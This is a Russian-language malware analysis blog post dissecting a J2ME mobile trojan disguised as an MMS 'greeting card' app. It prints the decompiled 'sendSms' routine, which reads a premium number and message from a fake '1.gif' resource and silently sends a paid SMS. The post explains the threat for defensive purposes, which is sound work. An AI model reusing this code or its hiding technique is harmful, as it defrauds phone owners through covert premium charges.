[Из песочницы] Исследование мобильного jar трояна
Бывает так, что вам приходит смс следующего содержания: «Вам пришло MMS-сообщение, которое можно посмотреть по ссылке: …» Хотя сейчас мобильные вирусы уже полностью переключились на Android-устройства, все же остались старинные «динозавры», которые до сих пор терроризируют мирных жителей.В мои руки попал файл «mms5.jar», который был мгновенно детектирован Антивирусов Касперского как «троянская программа Trojan-SMS.J2ME.Smmer.f». Его мы и разберем подробно.Файл с именем «mms5.jar» является архивом формата «zip», в котором содержатся файлы:
Необходимым условием для исполнения программы, содержащейся в архиве с именем «mms5.jar», является наличие в архиве файла с именем «manifest.mf» в каталоге «meta-inf».
В соответствии со значением параметров «MicroEdition-Configuration» и «MicroEdition-Profile», указанных в файле с именем «manifest.inf», можно сделать вывод о том, что программа, содержащаяся в файле с именем «mms5.jar», предназначена для мобильных телефонов и карманных персональных компьютеров.
С помощью декомпилятора «Fernflower» был декомпилирован файл »\mms\poster.class», содержащийся в архиве «mms5.jar».
Далее при помощи «JAVA ME SDK» программа, полученная в результате декомпиляции, была откомпилирована и запущена. При этом в эмуляторе мобильного телефона запустилось приложение с именем «ОТКРЫТКА». При нажатии на кнопку «Нет» приложение «ОТКРЫТКА» завершает свою работу.
При нажатии на кнопку «Да» происходит запуск функции «sendSms», при успешном выполнении которой на экран эмулятора выводится окно, в котором приведена картинка с поцелуем.
Вредоносная функция «sendSms»:
public boolean sendSms () { boolean flag = true; if (this.isRecordstoreExists ()) { return flag; } else { try { int ex = 0; String s1 = this.getResourceText (»/1.gif»); int i; while ((i = s1.indexOf (»[», ex)) >= ex) { int crs = s1.indexOf (»:», i); int l; ex = l = s1.indexOf (»]», crs); String obj = s1.substring (i + 1, crs); String s = s1.substring (crs + 1, l); TextMessage textmessage; MessageConnection obj1; textmessage = (TextMessage)((MessageConnection)(obj1 = (MessageConnection)Con nector.open ((String)(«sms://» + obj)))).newMessage («text»)).setPayloadText (s); ((MessageConnection)((MessageConnection)obj1)).send (textmessage); ((MessageConnection)((MessageConnection)obj1)).close (); } boolean crs1 = this.createRecordstore (); if (crs1) { System.out.println («Recordstore Created»); } } catch (SecurityException var10) { flag = false; } catch (Exception var11) { flag = false; var11.printStackTrace (); } return flag; } } В ходе выполнения функции «sendSms» происходит попытка отправки смс-сообщения на номер »1350» с текстом »4969991 543».Номер »1350» и текст »4969991 543» берутся из файла с именем »1.gif».
[1350:4969991 543] В итоге просмотр этой милой картинки может обойтись вам в 300 рублей.